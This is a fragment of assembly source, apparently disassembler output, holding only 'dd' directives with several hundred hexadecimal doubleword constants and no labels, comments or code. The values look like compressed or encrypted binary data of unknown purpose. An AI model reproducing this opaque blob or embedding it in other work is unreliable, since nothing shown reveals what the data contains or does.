		dd 0BC96716Bh, 0B9499553h, 13AF39C8h, 2008DD5Eh, 2F40808Dh
		dd 0FB209C59h, 4D1ADF00h, 80FFD9F6h, 6B68003Eh,	2DF23B37h
		dd 0B700ECD7h, 3AD09EF9h, 9CB2D6h, 0EE4A4E09h, 417C4FD5h
		dd 79ADC5Ch, 0CF26E365h, 518AE520h, 82FC3C1Dh, 19700F30h
		dd 0B7F6D64Ch, 0E2643C1Ch, 0EA4231C0h, 746DCB81h, 9E5000A7h
		dd 5087860h, 860B2B52h,	80BD25C7h, 0EEDDF106h, 98FE0024h
		dd 1867019Fh, 0EDA0E857h, 0F1140BB4h, 7284058Fh, 0CED9EC01h
		dd 3A725396h, 0F00EA17Fh, 0EFE08065h, 0F0639700h, 0FE2F3D2Bh
		dd 175C901Dh, 48EC56Ah,	8116ED02h, 0E4417000h, 0FB0EFA18h
		dd 0C01725F6h, 0ED77BF11h, 0F3F50363h, 6FA990C6h, 0AB030FB0h
		dd 804C2938h, 456054FFh, 3EA3F0h, 0CE3227EDh, 50312FD9h
		dd 35CAF81Ch, 62B9AE00h, 60AD7Bh, 7EAFB741h, 8DCF253Fh
		dd 58A03207h, 7D808BB6h, 1389ADD6h, 2144F0h, 0FE9CE5C8h
		dd 38030133h, 0E856B8E1h, 8DF8001Ch, 729D092Ah,	3239DCB6h
		dd 31B9805Fh, 0D77C9B7Eh, 84ED0088h, 906EB2D1h,	9D28F13Eh
		dd 300C8C68h, 11F90648h, 0B21A0CBDh, 0B7E093F0h, 49056206h
		dd 21CE21h, 2EC04D7Ch, 0B501AC7Bh, 3466E0Eh, 0E90E20E3h
		dd 0FA615307h, 0FA2F0AD2h, 0FC9E26h, 0E1284ED1h, 0AE014A78h
		dd 0EA218310h, 5B7005C1h, 40623C55h, 0E3B9C680h, 98CA8766h
		dd 9AFC9B00h, 7686741Eh, 0EDA8004Bh, 66B78ABDh,	0AA07EFC3h
		dd 67E4BA07h, 0EA97C5A3h, 222C4027h, 1689F487h,	754D843h
		dd 90618DC4h, 881E5845h, 490FBC73h, 29093396h, 5A9F00E8h
		dd 0E9F154h, 0C26AE38Ah, 3F9FBD72h, 3800F491h, 0A605B5A3h
		dd 0F3DA0073h, 5BA59279h, 0F93F6BB7h, 0ADF200D2h, 0F0EC815Ah
		dd 1365072Fh, 82DEB3E3h, 0A9E0180Ah, 0E100091Ah, 67BB203Ah
		dd 40DC6E6h, 7CA329FFh,	0E7D49068h, 80E92041h, 80F5FC8h
		dd 0E81FA58Dh, 109237B9h, 0CE278718h, 0FF3FDBA0h, 0A83A3EF6h
		dd 3D0900CAh, 0E10644E7h, 0AFE200FDh, 7D63BE88h, 42049ADEh
		dd 8B36B96Bh, 2AE6E1B0h, 423C77ADh, 37A5013Eh, 0B91F5A08h
		dd 0C08ADAC4h, 0C6BB9D31h, 3E546263h, 2619AFB4h, 8DA05FC5h
		dd 0B6D020FDh, 0E75E14A5h, 0A3002807h, 9B49687Eh, 3B00B01Fh
		dd 316F05CBh, 2CEA83h, 7A3A947Ch, 0C45319E5h, 7EAC3D00h
		dd 7DD1F81Eh, 0E08E0BA2h, 1B870BF6h, 0B652C07Fh, 0B800E5C1h
		dd 390A8DC8h, 0BB0D51h,	0E257D245h, 1566BA7Ch, 776F2302h
		dd 0C10CFBEFh, 84F8B695h, 0BACF00A0h, 25ABE392h, 6E007BA4h
		dd 0C606DEAAh, 0A5D87Ah, 0AF5DF28Ah, 879F0F5h, 5843D20Eh
		dd 173760E3h, 2EA6A291h, 0A2872A0h, 29CAC7Eh, 24647582h
		dd 0A9257F40h, 76A1C100h, 2206467Dh, 1DA83FB0h,	4287E0Fh
		dd 8B4ADC0h, 0A75EB02h,	30B0A001h, 33D43DD2h, 9632AC52h
		dd 23B71F04h, 0DC0106BBh, 20019E5h, 5B4F718Ah, 336818FBh
		dd 0CE08E363h, 9DA32100h, 882F7C71h, 1100056h, 65D4F409h
		dd 74002966h, 0EB33DCE5h, 1396A3DBh, 723D203h, 70D5D6D0h
		dd 0AA675DB1h, 50C69330h, 2E47FFh, 51C8614Ch, 0D972F6B6h
		dd 157D3D00h, 6FE1F4E9h, 20416001h, 9105EE22h, 20949329h
		dd 307FE3C2h, 0CF19E25Eh, 4F96144h, 0FFFEA07Fh,	983EAE38h
		dd 0C0886E7h, 0B520C0E1h, 0DE9F63B9h, 1DC1FF02h, 808A2A45h
		dd 2F3BF692h, 0D8C0C37Ah, 8AB79564h, 491280A4h,	4FBBE925h
		dd 0B2DEE60Ch, 0C04A08A7h, 25B1EF21h, 0DB032BD8h, 919834D4h
		dd 0F4B9397h, 36A7BBB8h, 0E10E9494h, 11B3242Bh,	631CB823h
		dd 0C35AC16Dh, 800D44E4h, 0CEB9E9A9h, 75AA8C61h, 0DBB83BCAh
		dd 0CC7FD507h, 2FF2E16Fh, 0BCB0BD37h, 0E3A239FEh, 0C075C251h
		dd 1CD7678Ah, 98C37A30h, 0C124A93Fh, 36CAB200h,	1140560Bh
		dd 0EE9D00ADh, 9263A552h, 0DC060FE4h, 0E7DBAFBBh, 0DD4E10B0h
		dd 74B92227h, 280C49BCh, 4271C580h, 448CF35Bh, 0CC1788F9h
		dd 0F81DB671h, 9940E780h, 28DD4812h, 46E015BBh,	978E2CC9h
		dd 0E0BEFF0Ah, 1B7BB70h, 0BF4E4463h, 0EC96A974h, 6230B65Bh
		dd 7C51B0DBh, 8D6D00ADh, 0AB3E5637h, 0C00ED9Bh,	0D17962B1h
		dd 502A463Ah, 309FCC03h, 0D6797F5Bh, 0C3075CC4h, 43EC3704h
		dd 738CBA20h, 0AD6A267Eh, 0E56B00A0h, 0BBA84870h, 961F8D06h
		dd 0FE484249h, 0F93F34ADh, 23682E80h, 87720405h, 2AB8C1AAh
		dd 7A347096h, 2D665B09h, 0A6B80094h, 7CF36EFAh,	1431393Eh
		dd 20B08B3Bh, 7F225E29h, 96FC2480h, 1E2E801Ch, 2001AEBDh
		dd 0BCB13C13h, 0CB23042Fh, 20CC2E00h, 977527h, 0B939B3FCh
		dd 0BBBDDA7Fh, 0DC2A820Ch, 6E31DEh, 39FC7CCBh, 12811DBh
		dd 360141E6h, 4EFEB0B7h, 1460AD8Ch, 6A2D196Eh, 180290B3h
		dd 4C71088Bh, 0F6C4E35Bh, 7192A240h, 8900FA0Bh,	0DCE4047Fh
		dd 50DA2B10h, 18318425h
		dd 181C7BEFh, 63208ABAh, 5E5F072Dh, 0C1C8D18Fh,	269464D9h
		dd 254E13ECh, 31B70009h, 0F0104DECh, 0F60125B6h, 8E5B4E7Ch
		dd 608A0393h, 80F0605Ah, 250B3B85h, 0F20E6CBAh,	0BD03C99Bh
		dd 0B9127D80h, 90D116CFh, 47F3010Ch, 0C87A27ACh, 3A45E0F8h
		dd 3FD4214Dh, 9001F602h, 0C508CFA5h, 893F7ADh, 9FF043D5h
		dd 72B0210Dh, 5A00B603h, 323D242Fh, 6FFABE5Bh, 3B8660E1h
		dd 0FB0031DAh, 80A3096Ah, 0F9D8276h, 0E14210C9h, 0DCC42036h
		dd 580020E7h, 0F902EDC7h, 24777D55h, 1E682459h,	92A74769h
		dd 47FBB193h, 20A44531h, 165F092Ch, 0BE840151h,	0DDB10771h
		dd 97E5EAD9h, 0A23EC1Ch, 15A07189h, 0CF88EC93h,	7190A480h
		dd 0F751ECh, 4BA9B516h,	0DA4D9E81h, 0AC0EA624h,	0A112FE81h
		dd 0C8D6C396h, 505EE138h, 7D540D0h, 0A5DCC904h,	76A5CF5Dh
		dd 23F83BE5h, 6BD70048h, 3BC32C5Fh, 0FEB9A804h,	0F9456491h
		dd 0DAEC0434h, 47051ECEh, 9C0935E6h, 87B49045h,	15D83E50h
		dd 100094BCh, 0A00F9521h, 0BF002761h, 547D312Fh, 5CFF5CBBh
		dd 40693E6Fh, 42E3A885h, 68385970h, 5C36B700h, 0FB7C137Dh
		dd 0B8FC49EBh, 51CDC800h, 8B380F3Ah, 77F8CCD3h,	4707A4B9h
		dd 5C9F3B22h, 6FF799F0h, 0D4710095h, 0BAC2B393h, 8800C3CEh
		dd 0B094B40Ch, 1F20D04h, 2074AAFCh, 35F9F48Ah, 0FD40D258h
		dd 61500D3Ch, 6CF2FC30h, 740BD891h, 93C824B5h, 7638C60h
		dd 118EFF23h, 95A11709h, 0AC1000EAh, 0BD3CA458h, 0A8942800h
		dd 7D2BF183h, 1A651297h, 0B49C4861h, 89610AC7h,	0C18F7A5h
		dd 807A21DCh, 0F5E61721h, 2451F345h, 3C0C7A12h,	6F6C5A07h
		dd 0B44BE47h, 4ACC88DFh, 11F4768Ch, 8CE7A58Fh, 29C210Fh
		dd 981A210Eh, 0CC627627h, 18B91CC1h, 0C525085Dh, 0FB70EFBBh
		dd 14250F45h, 66C00765h, 0ED9601F5h, 2A923B40h,	0A47C44h
		dd 318BE0AAh, 0CE64AF58h, 705D5900h, 3EC6FFF4h,	483E98A5h
		dd 0C0500C07h, 0C60E8C0Dh, 285B4371h, 40F86417h, 5E71C987h
		dd 98C3958Bh, 2FA67100h, 0DF207FE6h, 604139FDh,	7EC1BC87h
		dd 813C8038h, 960AFC53h, 1C974DF6h, 992ADD81h, 62CCF851h
		dd 3DEB77A5h, 0B102EF9Eh, 53B50B6Eh, 63B6B484h,	0A58BB008h
		dd 0C0809907h, 0B22102E0h, 6EBCEE02h, 4131727Ch, 0F1802D84h
		dd 0BA58B8DEh, 3505426Fh, 0E762BB69h, 7D798C01h, 0FAE49FEAh
		dd 143258BFh, 80671384h, 0DE2B2204h, 0AC2620B1h, 4BA0828h
		dd 29116632h, 987AE0DDh, 0EEFD0B30h, 0E011BDD7h, 0A4A0C6DFh
		dd 21DA7524h, 3016CA00h, 0D937C1AAh, 0A3260A65h, 0A8906C7Ch
		dd 14CC4690h, 24E4638Fh, 70C490D6h, 63B8BA40h, 81058D50h
		dd 7340289Ch, 8835A001h, 0C201123Eh, 0F27432DAh, 0DC37304Ah
		dd 0CB00E9F2h, 496FE1F3h, 5CC87EE3h, 0A210F822h, 0C00B882Dh
		dd 5B5D71C4h, 91174B21h, 0CF8907CDh, 0EF500471h, 2DC1228h
		dd 0FB447CC6h, 0CC68F961h, 900E1D2h, 7FF2943Ch,	35DA08h
		dd 5FD834C8h, 16CD3BA6h, 0E920FF31h, 0C3F5D2DEh, 268A8430h
		dd 2474D693h, 4D7605F4h, 77F893DCh, 5B0C18AEh, 206F209Ch
		dd 8BC08B52h, 5084D303h, 8C90C424h, 8638B05h, 0D4CEB6FFh
		dd 6394A600h, 59847153h, 1FDB04Ch, 0FFA175ADh, 0C181F64Dh
		dd 5C0EDCFh, 23F4EC95h,	5FDD0384h, 7A5A22A9h, 867F7100h
		dd 6BC28DCFh, 41B84ED7h, 125D5AACh, 0A2C6008h, 0F804C8AAh
		dd 99898B7h, 0A5268AECh, 0ED704CDFh, 2B210503h,	5497C8FBh
		dd 3E83C88h, 9DE48Ch, 2DE0DC4Bh, 0F8941CBh, 545E5A39h
		dd 0FA09B8E4h, 9D3A9537h, 81F6913Ch, 7865A0Dh, 76E2874h
		dd 38DA89FFh, 952CE2Bh,	0FC9D8AC4h, 0B6850911h,	3874C03Ch
		dd 0F31DA8E0h, 24ACF25Fh, 0F5634B44h, 0BFA58EB0h, 990028A5h
		dd 6DCB210Fh, 462A18B7h, 58539838h, 70B48000h, 0A402DAF5h
		dd 0E124275Dh, 3403C029h, 0D87C1DFBh, 0FC00F398h, 0BAE129A8h
		dd 26CF97AAh, 8054235Ah, 0CD31B8E6h, 2202B55h, 8E5D0822h
		dd 540A7FFBh, 161FBC34h, 113D51F0h, 168CB6ECh, 933C0822h
		dd 8B254FC0h, 22BF46BBh, 0B7F1014Bh, 453B9225h,	3A024A4h
		dd 0BBECC941h, 0DD42136Dh, 0F5040962h, 0F7C4FC67h, 25398660h
		dd 0D5A7AD12h, 280881Fh, 3155CA75h, 19C3308Fh, 1CE7DDD0h
		dd 0F981850Bh, 0AFF48222h, 25D723D2h, 0DDCEB3BFh, 2EE2A000h
		dd 0BB95B44Ah, 0FE2C167Ch, 5B1401DEh, 8108C25Eh, 2A82A650h
		dd 0EC303FB4h, 4C070211h, 77356665h, 0D80A6078h, 200192F9h
		dd 8CB64B78h, 3857E115h, 0E7D200A0h, 9D60A134h,	58A203FBh
		dd 5DADC356h, 0C0887FC0h, 4903E490h, 5E254DA8h,	23D804D2h
		dd 0C604DFADh, 0D903106Ch, 2B8E7E3Fh, 0F625E318h, 12649088h
		dd 0E4D0C152h, 7D00D820h, 0ECFF1E6h, 73188196h,	1237711h
		dd 9CDB2DF2h, 0F34F1D61h, 0EABE8BB0h, 2F75CF1Ch, 0A9348C80h
		dd 67CA47h, 7399C1B3h, 0C0F85F9Bh, 8DD34D00h, 0EF3A0B4Eh
		dd 0CDC60786h, 0FEB15EA6h, 0C9EA6180h, 2FA0164h, 0E89EE316h
		dd 1633F0C7h, 0EB06B819h, 8C0C00B0h, 2563D2AAh,	0BCA0AC1Fh
		dd 3F00C971h, 251BBC2h,	1E4029ABh, 406328F2h, 0F8AECA67h
		dd 1500DE01h, 5717C998h, 0F5FF6Fh, 0D450ADC4h, 3AC7E1FCh
		dd 5FD31A00h, 100DA981h, 0ECFA8Dh, 0B847B764h, 68BD25DBh
		dd 80C6A43Eh, 2A96E521h, 0F4270Eh, 51D17554h, 17BE404h
		dd 3790C80Fh, 0D88780F9h, 0B25A60Dh, 0D94088E5h, 8C2F2F80h
		dd 76F2E364h, 92E9FE00h, 90EA260Dh, 60D6F22Ah, 6A9830A4h
		dd 68E4331Bh, 37495703h, 7CAD6F2Fh, 0FF2B0040h,	0B5348908h
		dd 1EC10C2h, 8FBF5200h,	0DCD11A65h, 0ECD50005h,	10A4F991h
		dd 6000D872h, 287B904Bh, 79EE2D0Eh, 45324FBAh, 738BBB4h
		dd 6920FCCCh, 0BE001070h, 0E5C9A58Ch, 2655BFB6h, 80386723h
		dd 0BBF6E399h, 7E015A47h, 0D02BF14Ah, 0B6C855BCh, 64710162h
		dd 94EEC5EAh, 0EE87CB5h, 0A03803DFh, 0DA148A41h, 0DEA6009Dh
		dd 35829A23h, 5603E910h, 68DD8154h, 0AC0AC04Eh,	0E6C600C5h
		dd 9AD32BF6h, 0D90013E7h, 7D1B3D61h, 12E526E1h,	4599D2h
		dd 7EB6746Bh, 3102EDA8h, 519FE3B4h, 378565Eh, 61274A17h
		dd 5AA68800h, 65B7042Ah, 3F83001Eh, 0A19408F9h,	31C19886h
		dd 4D2E0FFCh, 24243CF5h, 44A33FC4h, 0BE7B4F80h,	66A91F69h
		dd 0C8A0D609h, 708C10F3h, 0C672004Ch, 62AE4BFEh, 840AC55Bh
		dd 8179576Eh, 35129507h, 3B8E1C30h, 0FDE4009Fh,	54EEB1D3h
		dd 7F26F563h, 93DD001h,	0A0D26D4Bh, 861ED500h, 0DAC009Eh
		dd 11FD3A81h, 8D04C4DFh, 0AFA6174Fh, 43588C80h,	382DEE21h
		dd 9C1DC996h, 3673009Eh, 0FEE795FAh, 2BF89403h,	9D659E5h
		dd 0DF639FE9h, 2E1EFC78h, 619F1252h, 0F19EE200h, 92A5EECBh
		dd 782C6710h, 0A1ED2010h, 0EC18B172h, 0B5496EC2h, 36210052h
		dd 6BFDCB85h, 9504D3BBh, 3C8F9194h, 8D5840B8h, 52041848h
		dd 0BC74B453h, 62D6077Ch, 9D30E7B6h, 58FC7h, 0AA0134F3h
		dd 7B7548BEh, 0FC40B34Eh, 0F6851E66h, 79A16070h, 199D132Fh
		dd 0E40BD712h, 66344Fh,	95CCEDB1h, 398000A2h, 7665C923h
		dd 0B8004916h, 6128FF6Ch, 2A32B67Ch, 807EAEh, 19C1A78Ah
		dd 0E5118EEDh, 0F8955800h, 7EEED331h, 0D9030091h, 37479927h
		dd 0D0096D7h, 0EF8F01F7h, 21B62Eh, 0EE3ABB3Ch, 0B3797580h
		dd 9897901Fh, 0E61B6540h, 0CFFD1Ch, 0EAB4785Fh,	14F682CCh
		dd 0A6AB300h, 0C2164F8Bh
		dd 677C02F0h, 37290510h, 0AF923260h, 53BF1F00h,	6FECA6CFh
		dd 562D0076h, 0F3ED8DDCh, 0E424555Eh, 0A980CC91h, 0F9FC4754h
		dd 0DC43067Dh, 0EEEAEB41h, 5E882A2Fh, 2FDA002Dh, 4BA16115h
		dd 94FDB400h, 0D452EFF9h, 7E9E0F33h, 0ECA955ADh, 5E6D2681h
		dd 5463D465h, 0A40028E2h, 271A7C8Ch, 42F16C5h, 0CBA0665Ah
		dd 0B200D04Fh, 671FBEEFh, 0C08FD253h, 0B6240DBh, 0E2F1CADAh
		dd 23A80377h, 362CE139h, 85319698h, 0CF4F2200h,	0CDC1F904h
		dd 80C926EDh, 79130454h, 0F438D65Dh, 3317CE7Bh,	0A800FDDCh
		dd 2FA73AC6h, 0ADC014F5h, 0BC01FEAFh, 0A9549A59h, 981C3A07h
		dd 0DEB5A3C0h, 7F8BD751h, 61C9245h, 0EF87218Eh,	0E10E2930h
		dd 8027F775h, 2CC191A7h, 0C0039DCFh, 0EDD0AFC4h, 10C07758h
		dd 5513879Ch, 2D0A0E7Fh, 0A8617CBCh, 24BF40A2h,	600BAB40h
		dd 0A30A878Ch, 0F8316AE8h, 0D2C561h, 1E15B55h, 0F0D1CF4Bh
		dd 29D47803h, 0C9ECB62Ah, 0AC40357Ch, 7699669Ch, 0B0CCFD12h
		dd 8F08911Bh, 0F20CC8h,	0BEB79D30h, 9300C4F3h, 1F82F933h
		dd 0EA1DC42h, 40CF841h,	7B9A26C2h, 2995840h, 0FB95BC18h
		dd 627911h, 8ECFA8DEh, 9B65ED3Fh, 70025DFCh, 95A28469h
		dd 176AE06Dh, 0FF7100B5h, 35089DE6h, 157CB903h,	7A00D8B1h
		dd 0A112E1Eh, 12ECF2A9h, 28FE09h, 7BDF6983h, 7006BBD9h
		dd 0EFD64886h, 58F30010h, 0BD43167Ch, 80EDB020h, 0E2D30C29h
		dd 7528B2E9h, 63A3BF9h,	6724AF00h, 0D7369B37h, 0BEB0ED00h
		dd 265F3188h, 0E9180096h, 0B50777A4h, 9C0A17B7h, 0FDAEC81Eh
		dd 50D9F000h, 2413DC24h, 0B3C0A95h, 738838D6h, 87A301A0h
		dd 0C84BC063h, 0F700AB05h, 774862C3h, 39D5CBDh,	9ED582A8h
		dd 0F4007537h, 0F8942C8h, 771E97h, 0ACC929DAh, 9CAE8CA7h
		dd 0E084D509h, 453090A3h, 0B70C052Ah, 479C7CBh,	0D0E2DEF0h
		dd 73A819B0h, 18F7D61Dh, 0B86D3502h, 0C4C6C006h, 52AB3FB4h
		dd 0E4CB2580h, 87EFA68h, 65CF7100h, 0B90BC2A1h,	804D3F1Eh
		dd 0C78BD480h, 5F473E42h, 83DCFF12h, 21EE1CF4h,	803FE673h
		dd 9ADFFC5Eh, 385A38B0h, 0BB988D61h, 2B402973h,	0AF2158h
		dd 4B276695h, 0BA3722h,	0ED2FD151h, 30A7546Eh, 0BC00C49Ah
		dd 0FB056268h, 0EBE89Ah, 0AE8B91A8h, 0FE1D831Ch, 0ADD2C200h
		dd 526C338Ch, 0B5C739D1h, 0EDCAA28h, 2FF04E6Ah,	7CA3E100h
		dd 0DA123BA2h, 0C0A0A178h, 0D3E3ACEh, 7EA5273Fh, 3F4200C4h
		dd 3C58EA69h, 92743774h, 23E75214h, 5AA30010h, 1E3B4968h
		dd 8B5B00B0h, 8A715C18h, 5D3E7A3Ah, 6E10023h, 0EEF90E20h
		dd 69B14C3Eh, 0B80F744Dh, 6D2B7DA5h, 672D70C8h,	0EBF5FF0Ch
		dd 0F00131F6h, 72A32843h, 80E16050h, 0C6E67FBBh, 3C67B93Ah
		dd 63D50990h, 1048716Dh, 472035h, 2A025E45h, 0E22C5125h
		dd 348CC44Bh, 99410065h, 633E06D6h, 7E0045EBh, 0BE685FAFh
		dd 3CCD4347h, 0C080EFF2h, 0BB74EE1Eh, 0A00F4FB8h, 0AFB0D022h
		dd 48B16721h, 9896AED3h, 1DE6D1E4h, 9F13FEFDh, 89E080BAh
		dd 0FC4B2198h, 9BE64063h, 4F00EFABh, 334917Ah, 0D4284670h
		dd 17A04CA0h, 2100D7F9h, 2AD61840h, 0BDDB66h, 0B335486Dh
		dd 0B2B5275Ch, 0A7565F0Bh, 0B8F7015Dh, 843D3A2Ah, 97822F7Ch
		dd 5C45940Bh, 0E1604FC4h, 916E5ADh, 9481525Fh, 48394C7Fh
		dd 53E9223h, 0A7BBCC25h, 0F2C0B4F2h, 0BDA25B4h,	51FB5204h
		dd 7C0E7066h, 2F0D6FE2h, 489E9C78h, 0F74676h, 96F9485Ah
		dd 505BF4Ah, 20022B95h,	0E300FA3Ch, 0A5C8613Fh,	0CD2E18BEh
		dd 5D771823h, 0CBC1D7Ch, 1094674h, 82B736CFh, 5868DF0Fh
		dd 138C6028h, 0C3AB8F31h, 6C03B80Ch, 8B80A370h,	322FA935h
		dd 0D5640D6h, 6F2800D2h, 0DC23944Bh, 0CF00D7D8h, 2154C44Eh
		dd 0AF2491h, 7644B1C2h,	602E3181h, 2D100400h, 126FD7Ah
		dd 0E53F00F5h, 0DEA87D79h, 700D7C7h, 0F087B20Ch, 0FA3626FCh
		dd 973B091Ch, 3B80014Dh, 0B2E72CBDh, 0B6AF571Ch, 0FED809h
		dd 755D2A04h, 0E9FA004Bh, 4135559h, 0B3FA9AEBh,	92437B00h
		dd 402EF850h, 0A265005Fh, 15588A9Dh, 0A601460Ah, 0C74CB96Fh
		dd 64E85781h, 30B8FDh, 135074EDh, 4EC91DBBh, 25E11600h
		dd 0B2044B19h, 94BF00DAh, 3E23E301h, 4D00DF71h,	7BB19643h
		dd 7191A411h, 4FBC1C9Fh, 2062806Bh, 0D01CFFFAh,	0BFAE7800h
		dd 93DDE874h, 0C01B24CCh, 0B6900708h, 0FA0ED0F9h, 530F212Dh
		dd 43B89E46h, 0A13C56h,	29F82361h, 0B9DF0D68h, 60002F90h
		dd 0BB84C6D5h, 0EA967Eh, 0D682A481h, 7755E1Dh, 0F72CB900h
		dd 48065B54h, 28D760AAh, 72EF1EFEh, 45594407h, 0DCD797FDh
		dd 674C6D00h, 0C068006Fh, 27ED23A6h, 9B00BA64h,	0D66B5D03h
		dd 3C9D13E0h, 910C2441h, 0A450763Ch, 89FC1F00h,	755C59E8h
		dd 0F42A51A1h, 0FE6443F8h, 0B7D00F2Dh, 48C05157h, 725ECE59h
		dd 0BACA8103h, 0D8B8F62Fh, 42BE2Dh, 327C0D9Fh, 34307890h
		dd 0E18B1D00h, 966079A1h, 0DB4103FCh, 86F77392h, 0A801F4B0h
		dd 1820DEC1h, 95F81B30h, 0CEB81CEDh, 429C762h, 3CC1FEA3h
		dd 0E45474C7h, 0A0009640h, 9FAD245Ch, 12BEF7h, 885DFCD3h
		dd 0D09BD855h, 268C3D00h, 0F1258A58h, 0B26300F3h, 0C5EA7C24h
		dd 0AAEC275Bh, 21D0451Dh, 5A3AD580h, 5071FA52h,	0B0A87Eh
		dd 0E3CCED03h, 0A14268B9h, 0C40F101h, 0CA348269h, 0F2EAE8C3h
		dd 0AFA848D1h, 6555D904h, 344C8156h, 7753DC28h,	30EAC3Bh
		dd 0EB0FD7C0h, 2529A05Bh, 6A1600D2h, 339CC8E7h,	0D307503Eh
		dd 0EF0BF7BDh, 1C71F2A0h, 15900CDh, 0A661E911h,	0F803A8F3h
		dd 6E880735h, 0A96862BDh, 4420048Ch, 0A76B82h, 9F6FECEEh
		dd 27EF415Dh, 0FFF00490h, 4D372C00h, 182F86C1h,	5A7400F2h
		dd 9D153E47h, 0A500AAF3h, 0BCEC6195h, 0C5F8003h, 2FFF5806h
		dd 3604CC40h, 0B8637DC2h, 24BB0481h, 0CE9B260h,	0F5E40A49h
		dd 9B032329h, 645E7BE0h, 755FB0ECh, 2435F8A9h, 1D052D3h
		dd 0B19ECF79h, 2DC19EFEh, 8325F043h, 4920016Eh,	0A305907Fh
		dd 6910807Dh, 0BF18ED1Fh, 1298034Ch, 0F1D03ACBh, 9E88FE9Bh
		dd 541DE50Fh, 8656A726h, 0DEB64E01h, 0B1CC9133h, 7D83E27Eh
		dd 9DF400DFh, 6E75AD29h, 9A00E064h, 50EEA315h, 7B798490h
		dd 4C950EC8h, 47E7E3FFh, 11FD7670h, 866FB100h, 0A5738D7Fh
		dd 1990606Dh, 6B33D81Eh, 38CDEE1Ch, 0A41CF412h,	708B08C1h
		dd 108EF558h, 0ECE060BCh, 0A9CBA473h, 20FFD00h,	129B43D8h
		dd 72C9006Eh, 0D029BEE4h, 0DD79615Eh, 0E1000FF0h, 0CD454F74h
		dd 7FE0F9h, 0AC4DA70Dh,	0E861A1ABh, 4C6F8626h, 7287DC00h
		dd 0E43E55h, 7DB7730h, 50A1D3F4h, 86CE7A00h, 81E0BAE3h
		dd 9E6B016Dh, 27990FE8h, 2C518BA8h, 951F80CFh, 0EE801523h
		dd 9F6E00C0h, 701ABA66h, 7A006B53h, 573B5562h, 0CBD965h
		dd 2A8260CAh, 0B708050Eh, 17EE9200h, 41A384B0h,	8F1E025Ch
		dd 32AAF910h, 0D16BD661h, 7EF73499h, 79CA1B01h,	1C09A4D3h
		dd 872A70h, 8F99E698h, 0DABF1D75h, 25C40301h, 0F34BB611h
		dd 1CD84EF5h, 7C310019h, 2687D8F1h, 4A00ABE3h, 0BC3A8360h
		dd 30648CEh, 36EF5DDDh,	29C04BDAh, 49184FEDh, 829813F9h
		dd 0FA3C92AEh, 56AF096Eh, 0C08A6DA6h, 0E6053FE8h, 90CC7D77h
		dd 70A34834h, 18554701h, 0C8CF2DA5h, 85FF2880h,	0B4C01544h
		dd 0B6A3D11Ch, 0E6FB4BC0h, 1CB9A5h, 0D83747C2h,	950CAB79h
		dd 7E113C02h, 4074FB87h
		dd 1F086B1Ch, 9C36E682h, 966E707Ah, 7F0C0EEEh, 102DCFBEh
		dd 1C20015h, 4172AA22h,	0E6F4820Dh, 0E718B100h,	998FE892h
		dd 684F009Fh, 356C8359h, 7A609471h, 0AE6E1EE1h,	6ACB0051h
		dd 0FD0B24DEh, 300ECE4h, 32610799h, 2CF1730h, 0F26746E1h
		dd 0A8803AFEh, 4CE5C678h, 3C1180F9h, 0AE089CF3h, 7340010h
		dd 72338F62h, 2D00D15Eh, 943640ECh, 7CE79743h, 0B82500C2h
		dd 0A4D0D539h, 6300AB16h, 34FBCC21h, 16D9608h, 0A2E1C91h
		dd 0CCA7721Eh, 0A50EC932h, 0DEB2FBE3h, 0DD518A83h, 0AF47F8F6h
		dd 14433EC8h, 73196680h, 5764D3E5h, 9EADC00h, 8D443781h
		dd 6CDA3DDDh, 66C96B81h, 0FCE16A2Bh, 2814D4A9h,	0C08414D1h
		dd 0FDE792E2h, 7D9600B9h, 0AC715B61h, 760039E3h, 1B5818E0h
		dd 0BACB2A81h, 0CA520644h, 285AB934h, 0B30077B4h, 0C34144D3h
		dd 7B3100D8h, 816A2574h, 3D00EE0Ah, 0A879F049h,	3FF882h
		dd 0D5BAA1C8h, 92EDC41Ah, 6DBFB101h, 8CA03ECFh,	4F81B06Fh
		dd 11490700h, 0BF023B5Ch, 0E417BBCh, 0D42DA721h, 249FF6E0h
		dd 3500A01Bh, 0DCA4B240h, 3FF3B72h, 58EDD509h, 0C0EFD760h
		dd 0A57A28D3h, 0F5E15400h, 0B70311FBh, 36320068h, 44091878h
		dd 267E040Eh, 76E0B458h, 0B1DBF800h, 4BD0F43Bh,	0B87E1DB7h
		dd 82A5C05Ah, 0F2E88E47h, 19975600h, 9AD080A3h,	0B884E839h
		dd 734A038h, 3FE1DFAh, 9300B8B6h, 3DB1D4C4h, 27005078h
		dd 0D7A2EA8Eh, 0EE16D85Fh, 9F5C02C6h, 34E48174h, 56BCE840h
		dd 0EBEA1B07h, 0B5B0BEE7h, 24AADF66h, 8164F905h, 0F72DC77Ah
		dd 0C30B70D3h, 9118FB74h, 0C020DB99h, 210C4E3h,	612158ADh
		dd 0E00389D4h, 0C2009372h, 5992A78h, 23AA66h, 0A55D42Ch
		dd 0F76AE0BCh, 32D3E38h, 9DB142C0h, 0AC4800CDh,	9A5DF934h
		dd 0E2077E93h, 0BAEC76B6h, 0FAB474F0h, 7C410519h, 0C05931EEh
		dd 0E90F2F26h, 5BA19202h, 8058723Ah, 1505E794h,	39E815CDh
		dd 3E2E6C75h, 806834EBh, 310335BDh, 20FD0F00h, 678F854Eh
		dd 3F110547h, 0C090CD33h, 0FA76E347h, 250058EEh, 66F118AFh
		dd 7F2379h, 0C75ED94Ah,	0C012E38Dh, 1DC56300h, 0F582AB7Dh
		dd 0E4560080h, 0C878C360h, 0ECBA2CD5h, 24EFF900h, 0DA596245h
		dd 0B4A91D72h, 78F50CDBh, 6700EE20h, 47032A3Ah,	1D4B17h
		dd 0CB493C85h, 63303E79h, 2565D300h, 60FA7F45h,	4EFC0062h
		dd 0FDD82CA9h, 6B60E53Dh, 385B8F18h, 31A200C6h,	7B2AD978h
		dd 8B606EF7h, 64594468h, 77F4A05h, 70B51E64h, 14C5E190h
		dd 0ED65F971h, 0A8400308h, 73059E4Dh, 0BFBD0342h, 7B968D20h
		dd 7E416866h, 58CB46E8h, 62B405FDh, 7448D961h, 0AAEB83E0h
		dd 74D85924h, 21F6247h,	0C830FAFCh, 41393DFFh, 88A00EAEh
		dd 64C0C0DCh, 2BE032CCh, 5A9D50C2h, 18CD117Bh, 0B62405B0h
		dd 73DBB162h, 24C81954h, 0B500394Fh, 56B9E9C3h,	63CE8Bh
		dd 5EE79EE1h, 2F7FE4FCh, 6BFEA41Eh, 10D8900Ch, 0C73F00C3h
		dd 4DEDFC3Dh, 4F000EF0h, 0E2BCCF48h, 7F03A81Ah,	85313C4Ah
